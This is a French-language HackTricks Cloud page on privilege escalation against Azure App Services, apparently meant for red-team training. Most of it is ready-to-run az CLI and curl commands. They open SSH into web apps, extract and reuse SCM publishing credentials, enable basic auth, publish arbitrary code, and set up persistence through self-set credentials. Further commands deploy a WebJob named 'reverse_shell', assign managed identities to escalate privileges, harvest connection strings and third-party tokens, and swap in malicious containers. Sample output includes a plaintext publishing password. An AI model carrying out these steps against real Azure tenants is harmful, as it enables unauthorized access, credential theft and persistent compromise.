Az - App Services Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
App Services
Pour plus dâinformations sur les services dâapplication Azure, consultez :
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ces autorisations permettent dâobtenir un SSH shell Ă lâintĂ©rieur dâune application web. Elles permettent Ă©galement de dĂ©boguer lâapplication.
- SSH en une seule commande :
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Créer un tunnel puis se connecter à SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- DĂ©boguer lâapplication :
- Installez lâextension Azure dans VScode.
- Connectez-vous Ă lâextension avec le compte Azure.
- Listez tous les services App dans la souscription.
- SĂ©lectionnez le service App que vous souhaitez dĂ©boguer, faites un clic droit et sĂ©lectionnez âDĂ©marrer le dĂ©bogageâ.
- Si lâapplication nâa pas le dĂ©bogage activĂ©, lâextension essaiera de lâactiver mais votre compte doit avoir la permission
Microsoft.Web/sites/config/writepour le faire.
Obtention des identifiants SCM et activation de lâauthentification de base
Pour obtenir les identifiants SCM, vous pouvez utiliser les commandes et permissions suivantes :
- La permission
Microsoft.Web/sites/publishxml/actionpermet dâappeler :
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Notez que le nom dâutilisateur est toujours le mĂȘme (sauf dans FTP qui ajoute le nom de lâapplication au dĂ©but) mais le mot de passe est le mĂȘme pour tous.
De plus, lâURL SCM est <app-name>.scm.azurewebsites.net.
- La permission
Microsoft.Web/sites/config/list/actionpermet dâappeler :
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Notez que les identifiants sont les mĂȘmes que dans la commande prĂ©cĂ©dente.
- Une autre option serait de définir vos propres identifiants et de les utiliser :
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Ensuite, vous pouvez utiliser ces identifiants pour accĂ©der aux plateformes SCM et FTP. Câest aussi un excellent moyen de maintenir la persistance.
Nâoubliez pas que pour accĂ©der Ă la plateforme SCM depuis le web, vous devez accĂ©der Ă <SCM-URL>/BasicAuth.
Warning
Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande prĂ©cĂ©dente, mais si lâutilisateur nâa pas suffisamment de permissions pour accĂ©der au SCM ou au FTP, les identifiants ne fonctionneront pas.
- Si vous voyez que ces identifiants sont REDACTED, câest parce que vous devez activer lâoption dâauthentification de base SCM et pour cela, vous avez besoin de la deuxiĂšme permission (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Publier du code en utilisant des identifiants SCM
Il suffit dâavoir des identifiants SCM valides pour publier du code dans le service App. Cela peut ĂȘtre fait en utilisant la commande suivante.
Pour cet exemple en python, vous pouvez télécharger le dépÎt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les modifications que vous souhaitez, puis zippez-le en exécutant : zip -r app.zip ..
Ensuite, vous pouvez publier le code dans une application web avec la commande suivante :
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM
La permission Azure mentionnĂ©e permet dâeffectuer plusieurs actions intĂ©ressantes qui peuvent Ă©galement ĂȘtre rĂ©alisĂ©es avec les identifiants SCM :
- Lire les journaux Webjobs :
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Lire le code source de Webjobs :
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Créer Webjob continu :
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de attribuer une identitĂ© gĂ©rĂ©e au service App, donc si un service App a Ă©tĂ© prĂ©cĂ©demment compromis, cela permettra Ă lâattaquant dâattribuer de nouvelles identitĂ©s gĂ©rĂ©es au service App et dâescalader les privilĂšges vers celles-ci.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Cette permission permet de lister les connection strings et les appsettings du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Lire les identifiants de tiers configurés
En exĂ©cutant la commande suivante, il est possible de lire les identifiants de tiers configurĂ©s dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurĂ©s dans un utilisateur diffĂ©rent, vous ne pourrez pas accĂ©der au token dâun autre.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
#Â GitHub â List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket â List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
#Â Dropbox â List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
#Â OneDrive â List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Mettre Ă jour le code de lâapplication depuis la source
- Si la source configurée est un fournisseur tiers comme Github, BitBucket ou un dépÎt Azure, vous pouvez mettre à jour le code du service App en compromettant le code source dans le dépÎt.
- Si lâapplication est configurĂ©e en utilisant un dĂ©pĂŽt git distant (avec nom dâutilisateur et mot de passe), il est possible dâobtenir lâURL et les identifiants dâauthentification de base pour cloner et pousser des modifications avec :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - En utilisant la permission
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Si lâapplication est configurĂ©e pour utiliser un dĂ©pĂŽt git local, il est possible de cloner le dĂ©pĂŽt et de pousser des modifications :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read: Vous pouvez obtenir lâURL du dĂ©pĂŽt git avecaz webapp deployment source show --name <app-name> --resource-group <res-group>, mais cela sera le mĂȘme que lâURL SCM de lâapplication avec le chemin/<app-name>.git(par exemple,https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - Pour obtenir les identifiants SCM, vous avez besoin de la permission :
Microsoft.Web/sites/publishxml/action: Ensuite, exécutezaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.Microsoft.Web/sites/config/list/action: Ensuite, exécutezaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
Notez quâavoir la permission
Microsoft.Web/sites/config/list/actionet les identifiants SCM rend toujours possible le dĂ©ploiement dans une webapp (mĂȘme si elle a Ă©tĂ© configurĂ©e pour utiliser un fournisseur tiers) comme mentionnĂ© dans une section prĂ©cĂ©dente.
Warning
Notez quâavoir les permissions ci-dessous rend Ă©galement possible dâexĂ©cuter un conteneur arbitraire mĂȘme si la webapp a Ă©tĂ© configurĂ©e diffĂ©remment.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
Câest lâensemble des permissions qui permet de modifier le conteneur utilisĂ© par une webapp. Un attaquant pourrait en abuser pour faire exĂ©cuter un conteneur malveillant Ă une webapp.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

